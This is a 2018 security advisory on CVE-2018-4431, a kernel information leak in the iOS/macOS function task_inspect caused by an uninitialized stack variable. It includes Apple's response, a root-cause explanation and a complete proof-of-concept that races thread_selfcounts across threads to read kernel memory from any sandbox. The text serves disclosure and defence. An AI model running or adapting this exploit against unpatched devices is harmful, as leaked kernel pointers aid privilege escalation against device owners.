SSD Advisory – iOS/macOS Kernel task_inspect Information Leak
Credit to Author: SSD / Ori Nimron| Date: Mon, 17 Dec 2018 07:02:28 +0000
Vulnerabilities Summary
The following advisory discusses a bug found in the kernel function task_inspect which a local user may exploit in order to read kernel memory due to an uninitialized variable.
Vendor Response
“Kernel:
Available for: iPhone 5s and later, iPad Air and later, and iPod touch 6th generation
Impact: A local user may be able to read kernel memory
Description: A memory initialization issue was addressed with improved memory handling.
CVE-2018-4431: An independent security researcher has reported this vulnerability to
Beyond Security’s SecuriTeam Secure Disclosure program
Kernel:
Available for: macOS High Sierra 10.13.6, macOS Mojave 10.14.1
Impact: A local user may be able to read kernel memory
Description: A memory initialization issue was addressed with
improved memory handling.
CVE-2018-4431: An independent security researcher has reported this
vulnerability to Beyond Security’s SecuriTeam Secure Disclosure
program”
CVE
CVE-2018-4431
Credit
An independent Security Researcher has reported this vulnerability to Beyond Security’s SecuriTeam Secure Disclosure program.
Affected systems
macOS 10.13.6 and prior versions
iOS 12.1.0 and prior versions
Vulnerability Details
The bug is in the function task_inspect:
In the case that flavor is TASK_INSPECT_BASIC_COUNTS, the stack variable task_counts will not be initialized. By making the function mt_fixed_task_counts => mt_fixed_thread_counts return
error, the task_counts will not be initialized and it will be returned to user mode.
By using the API function thread_selfcounts with a race condition we can make it return error.
Another impact is that the functions task_inspect and thread_selfcounts does not include any MACF check, so this bug can be triggered in ANY sandbox.
PoC
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 | #import <Foundation/Foundation.h> extern int thread_selfcounts(int type, user_addr_t buf, user_size_t nbytes); #define THREAD_COUNT 0x10 volatile bool stop = false; void race(){ int err = 0; uint64 retu[2] = {0, 0}; uint64* info_out = malloc(4 * 4); memset(info_out, 0x0 , 16); int size = 4; while(!stop){ err = thread_selfcounts(1, &retu, sizeof(retu)); task_inspect(mach_task_self(), 1, info_out, &size); if((info_out[0] & 0xffffff0000000000) != 0){ printf(“%16llxn”, info_out[0]); printf(“%16llxn”, info_out[1]); } } } int main(int argc, const char * argv[]) { int err = 0; pthread_t thread[THREAD_COUNT] = {0}; for(int z = 0; z < THREAD_COUNT; z++){ pthread_create(&thread[z], NULL, race, NULL); } uint64 info_out[2] = {0}; int size = 4; uint64 retu[2] = {0, 0}; while(1){ err = thread_selfcounts(1, &retu, sizeof(retu)); } return 0; } |